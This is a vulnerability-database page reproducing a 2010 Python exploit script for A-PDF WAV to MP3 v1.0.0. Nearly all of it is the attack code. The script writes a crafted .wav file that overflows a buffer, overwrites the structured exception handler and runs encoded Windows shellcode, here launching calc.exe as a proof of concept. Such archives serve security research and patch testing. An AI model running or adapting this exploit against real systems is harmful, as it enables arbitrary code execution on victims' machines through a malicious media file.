Lucene search
K

A-PDF WAV To MP3 1.0.0 Universal Local SEH Exploit

🗓️ 18 Aug 2010 00:00:00Reported by Dr_IDEType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit by Dr_IDE. Uses SEH to gain code execution

Code
`#!/usr/bin/env python  
  
#################################################################################  
#  
# Title: A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit  
# Exloit By: Dr_IDE  
# Tested On: XPSP3  
# Date: August 18, 2010  
# Download: http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html  
# Reference: http://www.exploit-db.com/exploits/14676/  
# Usage: Import File, Select It, Click Play, Calc.  
#  
# EDB Notes:  
# This exploit uses SEH to gain code execution, while EDB 14676 uses a direct  
# EIP overwrite which is operating system specific.  
#  
#################################################################################  
  
# windows/exec - 303 bytes CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH  
  
code = (  
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"  
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"  
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"  
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"  
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"  
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"  
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"  
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"  
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"  
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"  
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"  
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"  
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"  
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"  
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"  
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"  
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"  
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"  
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"  
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"  
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"  
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");  
  
buff = ("\x41" * 4132);  
nops = ("\x90" * 12);  
nseh = ("\xEB\x06\x90\x90");  
retn = ("\x5C\x26\x47\x00");  
junk = ("\x42" * 300);  
sploit = (buff+ nseh + retn + nops + code + junk);  
  
try:  
f1 = open("Dr_IDEs.wav","w"); #No file checking, any file extension works... (.xyz .foo .abc)  
f1.write(sploit);  
f1.close();  
print ('[*] Success. Load File.');  
  
except:  
print ("[-] Error, could not write the file.");  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation